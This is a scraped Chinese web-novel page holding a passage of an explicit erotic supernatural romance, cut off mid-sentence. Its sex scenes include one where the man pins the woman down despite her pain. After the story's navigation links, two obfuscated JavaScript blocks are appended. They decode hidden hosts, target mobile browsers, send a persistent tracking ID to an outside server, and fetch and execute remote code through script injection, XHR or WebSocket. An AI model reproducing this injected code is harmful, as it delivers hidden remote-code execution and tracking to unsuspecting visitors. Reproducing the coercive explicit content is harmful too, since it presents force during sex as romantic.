他粗鲁的扯开她汗湿的衬衫,看她胸前的丰满在他眼前剧烈的起伏着,虽然隔着胸衣,但他依然想像得出胸前那粉红的蓓蕾正渴望他的吸吮。

法兰克将双手伸向她的背后,轻易的解开胸衣的环扣,将碍眼的胸衣扯掉,直接俯首张口含住那欠缺滋润的蓓蕾。

此举让雪莉倒抽一口气,双手紧紧抓着被单。

虽然她没有做过这种事,但是却看过一些火辣的情欲画面,她一直以为影片中的女人忘情呻吟的画面是做出来的效果,没想到这一切都是真的。

他灵巧的舌不断地在她身上寻找敏感的源头,四处放火点燃她欲望的引线。

雪莉觉得整个人像置身在高温火炉中,无助的接受欲火的燃烧粹炼。

他的吻是如此让她眷恋,雪莉清楚的知道自己爱上他了,于是她将手攀住他的颈项,回以更深情的吻。

她的心跳加快,心中期待着某些事的发生,却又害怕发生以后的结果……法兰克将自己鼓胀的下半身紧贴在她的小腹上,雪莉反射性的想躲开。

法兰克的眼中盈满笑意。因为他发现雪莉竟然是个未经人事的女人。

这个认知牵动那火烫的肿胀,让他的欲望更炽也更烈。

他迫不及待地褪去身上所有的衣物,随即双手罩上她雪白滑嫩的丰软双乳,那一起一伏的姿态诱惑着他的情色本性。

那浅浅的桃红乳晕,像是浸过酒汁一样,晕染成一片绯红,看起来是那么的香醇诱人……雪莉软软的瘫在他身下,任他尽情的触摸。

爱抚。

她的体温越升越高,开始忍不住的扭动身体,想要摆脱那烧灼的热……而她的呻吟助长了他的欲火……

他温热的汗水一滴、一滴的落在雪莉身上然后再往下流,雪莉扭动着身子想摆脱那份搔痒的感觉。

她勾人欲火的扭动方式,让他的昂扬更烫、更加肿胀。

法兰克忍着亟欲爆发的渴望,喘着气,双唇沿着她的曲线一路向下游移到肚脐,再将热辣辣的吻只痕迹散布在她平坦的小腹上……之后,他捧起她圆润的美臀,将舌埋首进入双腿之间逗弄。

他用双手轻拨开花瓣,缓缓的舔吻,再沿着幽谷的四周绕圈圈,然后顽皮的钻进幽穴内轻轻勾挑。

“法兰克……”

雪莉不自觉的撑起圆臀,迎接他灵巧的唇与舌,乞求得到更多的爱怜。

她湿润柔滑的私密禁地飘着处子的幽香,让他迫不及待的想拥有她。

法兰克亢奋的一路再往上吻回去,然后覆住她的口,释出所有的热情,坚持尝尽她檀口内的香甜滋味。

法兰克的吻让她几乎忘了如何唿吸!

雪莉感觉到在她柔嫩的双腿间,他的坚挺不断摩挲着她的湿濡私密地,那诱惑使她情不自禁的将双腿张得更开——接着,他的坚挺在她幽穴入口处缓缓移动,一点、一点的侵入她的体内。

她靠着法兰克波给她的氧气存活。

老天!她好软、她好紧……他再也忍不住想要一举占有她。

雪莉被陌生的快感述得晕头转向,完全没注意到他的硬挺已经开始进入她……他的硕大往前挺进,渐渐没入她的体内。

雪莉慢慢感觉到痛——

她不是个没见过世面的女人,当然知道第一次做这种事会痛,只是没料到会痛得如此难以忍受。

雪莉出于本能的想推开他。

法兰克却抓住她的双手按压在床上,吻去她喊痛的声音,坚持将自己的欲望深深埋进她体内。

她痛得想挣扎,但法兰克压得她动弹不得。

像是舍不得她的痛苦,法兰克咬牙停下止不住的欲望,让她慢慢习惯体内的充实感。

但是,她是那么的炙热、那么柔软、那么紧窒,令他失去了一向的冷静,他实在撑不下去了。

随着粗重的喘息,法兰克向前猛力一挺,冲破那层薄薄的障碍,一举占有她的身子……雪莉痛得皱起眉头,颤抖的抱紧他,缓和他所带来的不适,然后感受他完全充满体内的硬胀感。

法兰克离开她的唇,吻掉她流下的泪水。以温柔的言语诱哄着她。

“还痛吗?”

虽然他在等待雪莉适应,但那真的很困难。

因为她实在太紧张了,将原本就很紧窒的甫道收缩得更紧、更密,紧密得几乎令他崩溃。

雪莉慢慢的平静下来,也许是因为她想安慰他痛苦的忍受,或者是他温柔的爱语抚平了她的痛。

总之,若这是必经的过程:她愿意为他付出一切,即使是难以忍受的痛楚,她依然甘心为他付出。

不一会儿,一股莫名的灼热取代了原本的刺痛,掩盖了她体内的痛楚,却衍生出另一种教人难以言喻的感官享受……在她体内有个实在的物体在微微颤动,这太过真实的存在感使她不自觉的动了动身子。

这一动牵动雪莉体内的内壁收缩,将他的火热包得更紧密,两人同时为这阵愉悦惊喘一声,而他原本温柔的眼神在此刻变得火热、狂野。

“这是你引诱我的。”

法兰克再也无法克制欲望,顾不得雪莉的痛楚,立刻冲进她体内深处,抽出来、然后是更深的冲刺……他不断的重复这折磨人的律动,让原本坚固的床显得有些不可靠。

刺痛逐渐消失,快感慢慢堆积,剧烈的冲击让她不由自主的呻吟……声声的娇柔呻吟,让他的欲火加速燃烧……

法兰克捧起她的臀,仰着头不断地冲刺柔软的包围,吸引他的灼热一次又一次的加深律动。

雪莉终于成为他的人!

☆☆☆

雪莉的头在法兰克的肩膀上找到一处依靠,身体的其余部位也紧紧贴着他的身躯,她可以感觉到他的心正缓慢而有规律的跳着。

她不会有过这么踏实的感觉,因为没有人能让她依靠,即使是桃丽丝都不曾让她有这种感觉。

昨夜她睡得很好,不再有梦魇、不再有烦恼。

是因为有个男人让她依靠吗?

她不知道,可是她喜欢这种感觉。

“你在想什么?”法兰克温柔的声音从头顶传来。

雪莉惊觉他的心跳加快,唿吸声也越来越粗重,紧贴着的身体已感觉到他男性的象微起了变化。

她害羞的将两人的距离拉远。

法兰克紧紧的搂住她,不让她离开他身边。

“现在才害羞不是太晚了吗?”

法兰克的手往她的下腹探去。

“不要……”

“别怕,我只是想摸摸你、安抚你,不会再有其他动作,我怕你无法去上班。”法兰克贴心的为她着想。

但是雪莉听完他的话却哭了。

“怎么了?”法兰克紧紧的抱着她。

“我担心我们没有未来。”雪莉担心的说出心中想法。

也许法兰克会觉得进展太快,但是她已经一头栽进去,想撒手也来不及了。

“怎么会?”法兰克完全不相信没有根据的事。

“你喜欢小孩吗?”雪莉忽然问。

“我当然喜欢。”法兰克直言不讳。

雪莉再度流下眼泪,心中想着一件事。

“我十二岁的时候曾经坠楼,医生说我摔坏了部分器官,子宫就是其中之一,意思就是说我再也无法生育。”虽然她从来没有想过要当一个母亲,但是她有义务告知与她交往的人。

“别操心那么多,或许会有奇迹出现;就算真的不能生育也无所谓,我不在乎。”法兰克温柔的安慰她。

得到他肯定的答案,雪莉觉得自己的新生活即将展开。

她好喜欢、好喜欢这种有人爱她的感觉。因为有他,她不再是一个没有人疼爱的女孩,也不再是别人口中传奇的女人,她就是她,一个沉浸在爱情里的女人。

☆☆☆

汤姆走进办公室,明显的感觉到雪莉愉快的心情。

今天要应付的是一个非常难缠的客户,而雪莉竟然心情好得嘴里哼着歌、满足的笑容洋溢在脸上!

汤姆的心情瞬间跌落到谷底,即使是两人合作最愉快的时候,他也不曾见过雪莉这么开心的笑容。

看看办公室里满满的玫瑰花束,汤姆不难猜出这花是谁送的,瞧!雪莉看着夹在花朵里的卡片,更是笑得一脸灿烂。

“今天心情不错?”汤姆酸酸的问。

“是啊!工作顺利,又搬了新家,心情当然好。”雪莉抬头看他一眼。“倒是你,脸色这么难看,怎么,你心情不好?”雪莉以一个朋友的立场关心地问。

“你……跟他上床了?”汤姆说得缓慢,但这句话的杀伤力却很强。

雪莉没有给予明确的回答,只是白了他一眼。

她不喜欢汤姆处处以监护人的身份自居。

“你真的要小心,这家伙根本不知道是从哪儿冒出来的,我托了很多人查访,都找不到他来自何处。”

汤姆除了心里爱着雪莉,不希望她受到伤害外,也真的怀疑法兰克的来历。

“你很无聊,没事干嘛调查人家?”

雪莉对于汤姆近来的举动产生厌烦,他时常出其不意的出现在她四周,让她有被监视的感觉。

不管是她和法兰克外出吃饭或在家享受两人世界时,他都会出乎意料的出现,让她烦不胜烦。

“我不是无聊,只是想保护你。你知道吗?你住的那间房子曾经有三个女人自杀过。”汤姆打开电脑列出他所查的资料。

雪莉没什么反应,只是淡淡的开口:“你住的房子不知道有没有死过人呢?”

“不知道,我没查过。”汤姆据实以告。

“既然你的时间很多,为什么不去查一查?说不定你的房子也死过很多人!”雪莉终于翻脸了。

“雪莉,我是说真的。”

“我也是说真的!你的联想力未免太丰富了,我住的房子死不死人和法兰克有什么关系?”

她一直将汤姆视为工作上的好伙伴,也承认他的工作能力很强,但是他怎么可以介入她的感情生活?

“你要相信我,法兰克真的很不对劲。”

雪莉拿起设计图。转身往外走。

“你要继续在这里胡言乱语,还是要跟我去看看工人的进度?”

汤姆认命的跟上去,闭上嘴巴不再说话。

他知道现在雪莉和法兰克正打得火热,无论他说什么,雪莉都听不进去,他还是先好好想想该怎么让法兰克现出原形再说。

第四章

月明星稀,公园四周静谧无声。

法兰克和雪莉看完午夜场电影后,两人手牵着手,亲密的在寂静的公园里散步。

雪莉心中一直想着汤姆说的话,不知道汤姆的话到底能相信几分。

“怎么了?”法兰克觉得这些天她总是心不在焉。

“没什么,只是想一些工作上的事。”

法兰克不自觉地露出一抹笑意,在她的耳边低声说:“你就不能拨出一点点对间想想我吗?”

“你认为用想的比较好?这样的话,以后我们的约会就取消,我改用想的。”雪莉调皮的捉弄他。

法兰克将她揽进怀中,双手紧紧握住她的纤腰,用行动证明他喜欢实体接触。“两样我都要,我要和你在一起,也要你时时刻刻想着我。”他闻着雪莉的发香,生理的欲望又升起。

“嘿!你不觉得这样大贪心了?”雪莉靠在他的怀中,神情显得迷乱。

“贪心?这样才叫贪心。”

法兰克将两片火热的唇覆盖在她的红唇上,彻底将她吻个够。

“别这样,这里是公共场所。”

雪莉想将他推开,但是法兰克牢牢的锁住她。

“公共场所才好。”法兰克开朋的长笑数声,顺势抱起她玲珑有致的身躯,不断揉捏她浑圆的臀部。“你知道吗?在不同的地方做,会有意想不到的刺激。“法兰克,别这样,我不想在这里。”’雪莉身虚软的挣扎着。

“不想在这里?那你为什么要跟我走进这座人烟稀少的公园?”法兰克放开她,一个人往前走。

雪莉跟上前。“法兰克,我不是那个意思!”

雪莉不知道该怎么表达自己的想法,看见法兰克生气,她的心都乱了。

法兰克姿态高傲的睇睨雪莉,扬起浓浓的眉毛。

“如果你想当圣女贞德,那就不要和我交往,这样会坏了我的‘性致’。”

“我不是……”雪莉一时无言以对。

“要知道,所有的男人都是一个样,生理上的需求总是大于精神上的需要。如果你无法接受这种论调,现在离开还来得及。”他一步步逼向雪莉。“我想,追求你的人应该不少,我也一样,而且男人的发泄管道更多。”

“不!”雪莉捂住耳朵,不愿再听下去。

法兰克淡漠的一笑。

“你决定了吗?”

雪莉沉默不语,她知道自己已然深陷,和他像是前世注定的感觉深深植入她的心中,让她再也无法放手。

她踮起脚尖,凑上自己的樱唇,伸出了香小舌,想挑起他藏在心中的欲望。

法兰克轻叹一声,拉着她的小手放在他的下腹,带领着她轻轻抚摸他的昂扬。

“雪莉!”法兰克眯起眼睛,享受着她在敏感的搓揉,感受他到自己正逐渐硬挺。

“这是灵肉合一的好处。”法兰克赞叹着,喘息的声音越来越粗重,接着扯开她的上衣。“欲望让我不得不爱你。”

雪莉白皙的肌肤在月光的衬托下,显得晶莹柔腻,让人看得心神荡漾,也让他情欲高张。

“我也爱你。”雪莉娇声呻吟,完全不管四周有任何动静。

法兰克展现男人主控的领导权,手指隔着底裤染成湿濡一片。

“法兰克……”

法兰克的手指探进她的底裤,缓慢温柔进人她的紧窒中,开始不断的抽送,让雪莉的娇喘声越来越大。

“宝贝,你的声音真有催情作用,让我听得心痒难耐、春心大动,乖,再大声一点,我喜欢听。”

“法兰克……”雪莉根本不是因为他爱听才叫的,而是很自然的呻吟出声。

不过,沉溺爱欲中的雪莉没注意,在不远处的大树后有一道身影正虎视眈眈在窥视着。

不是法兰克愿意让自己和雪莉的欢爱曝光,而是躲在暗处的人太没品,有本事就光明正大的竞争,输了就从命,何必对他苦苦相逼?

既然偷看的人执意不走,雪莉和他又蓄势待发,那就表演一次活春宫让偷窥者欣赏吧,反正距离这么远,天色又黑、又暗,想必除了听见呻吟声外,那人也看不到什么画面。

法兰克让雪莉贴着树干,轻巧的脱下她的底裤。还故意往偷窥者的藏身处丢去。接着他轻轻撑开雪莉的双腿,低下身子舔吻她的蜜谷。

雪莉无止境的呻吟不断追出口,蜜汁也源源不断的涌出。

“雪莉,你真让我动心。”

法兰克故意说得很大声,就是要偷窥人听到。

“你真是个迷人的小妖精。”法兰克的甜言蜜语不断的放送,故意折磨雪莉,让她发出不由自主的呻吟。

雪莉无法承受他的拨弄,差点脚软。

那声声呻吟任谁听了都会骚动难耐……

法兰克搀着她到石椅前,让她趴在石椅上,随即脱去身下衣裤,顺势把自己的灼热抵在她紧窒的甫道口,快速贯穿她早已准备好接纳他的花穴当中。

“法兰……”她兴奋得连他的名字都无法叫全。

他用力的冲刺,努力的引诱出雪莉的浪荡呻吟声。

“不行……我脚酸……”雪莉几乎要瘫痪了。

法兰克贴心的将她抱上石椅,让她面对着他,上半身平躺在长石椅上。他则将她的双脚抬放在肩膀上,让两人的欢爱处得以准确的结合。

“这样可以吗?”他猛力向前挺进。

“嗯……好舒服……好刺激……”

得到心爱女人的赞赏,法兰克信心大增,舍弃撞击的方式,努力摇摆着自己的臀部,尽情攻占她的蜜谷。

两人放肆的在月光下交欢,变幻莫测的姿势让旁观的人看得咬牙切齿。

而那个偷窥的人竟然就是——汤姆!

☆☆☆

“发生了什么事?”雪莉走进公司,就看见大家议论纷纷。

“今天一大早警方打电话来,有人发现汤姆在公园遇害。”接到电话的小妹回答。

“公园?哪一个公园?”一股不祥之感直冲雪莉的脑门。

“就是电影街旁边那个公园,警方说命案发生的时间大概是在电影午夜场结束的时候,现在正在全力追查当中。”

闻言,雪莉几乎站不住脚。”这绝对不是巧合!

先是母亲,然后是杰克,现在则是汤姆……

雪莉想起母亲说过教她不要相信奇迹的话。

母亲死后留下一大笔来路不明的钱;然后杰克莫名其妙的死亡,让原本已经飞走的工作机会又回到她的手里。这算是奇迹吗?

那汤姆的死又是为了什么原因?

法兰克!所有的事情似乎都和他有所牵连。

母亲死后,法兰克就开始出现;杰克死时他在场,包括汤姆遇害的那一刻,她也在场……雪莉越想心越乱,这到底是怎么一回事?

记得汤姆曾对她提起,说他找不到任何有关法兰克的资料,难道法兰克会是母亲嘴里所说的撒旦,他是前来向她索回十三年前欠下的那条命?

不,不可能!

法兰克是那么爱她,他的温柔与关心她都感受得到,绝对不会是来向她索命的撒旦!

不!她要回去向他问清楚。

慢着!

如果他真的是撒旦,难道她愿意跟他走?

不,她有她的人生,怎么能任人予取予求?

她至少应该先查明法兰克的身份。

就在她思绪一团乱的时候,一阵恶心由胃部翻涌上来,雪莉急忙跑进厕所。

奇怪!这几天来,她胃口不佳,又变得非常嗜睡,是不是得了什么病?

还是去让医师检查一下好了,她不希望在撒旦还没来索命之前,就先被病魔夺走了生命。

☆☆☆

怎么可能?

雪莉从医院出来,双手放在腹部,似乎想感受神奇的力量。

她真的不敢相信!

十三年前,当医师宣布她失去生育能力的时候,母亲几乎晕厥,一直怪上帝剥夺了她生为女人的权利。

那时她年纪尚小,根本体会不出生育对女人的意义与价值。

直到最近,尤其是法兰克出现后,她疯狂的想要有一个孩子,虽然她知道不可能,但是她还是想。

如今获知怀孕的事实却令她害怕,因为这又是一个奇迹,一个不应该出现的奇迹!

“撒旦之子”四个字忽然出现在她的脑海……

心慌害怕的雪莉,不知不觉来到教堂,记得神父说过,有事情可以来找他商量。如果她受洗,成为一个教徒,撒旦会不会就此放过她?

虽然是个荒谬的想法,但是她不愿放弃这个机会。

雪莉走进教堂,四周寂静得有些吓人。

“神父”回应雪莉的是一阵回音。

“神父在吗?”教堂里还是只有回音。

雪莉走近教堂前方,想跪拜大主,谁知竟瞧见——神父脸色苍白地倒在跪垫的后方。

“不……”

雪莉大叫一声,然后心存希望地伸出小手探探神父的鼻息——倏地,她刷白了一张脸,神父早已气绝多时。

为什么?

为什么会这样?

在她身边的人一个个的离奇死亡,难道她真的是一个带有魔咒的女人?

雪莉掩面冲出教堂——

☆☆☆

雪莉漫无目标的走在街上,她不知道该怎么办才好,若不是肚子里真的孕育着小生命,她真的会以为这只是一场梦。

接二连三的意外,让她难以置信在身边竟会发生这么多巧合。

想到这儿,她不禁感到好笑地摇了摇头。

其实是她一头栽进去的,法兰克从头到尾都没有展开追求的动作,是她的一颗心悬宕在他身上,才会一触即发的和他发生关系,他的用心不是很明显吗?摆明了要让她自己上钩。

不!她不能生下肚子里的孩子,如果她真的是恶魔的化身,法兰克又是奉撒旦之命前来索命,那这个孩子不就成了万恶之源?

不!她不能让这种事发生。

雪莉下定决心要拿掉这个孩子,随即徒步走到一家妇产科的对街,却又站在那里犹豫、考虑着该不该走进去。

她到底该不该拿掉孩子?

她真的能就此扼杀一条无辜的小生命吗?

雪莉在妇产科外犹豫了半小时,最后终于决定,与其让孩子将


上一篇:绝色美女的沉浮

下一篇:长路漫漫1~30全


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};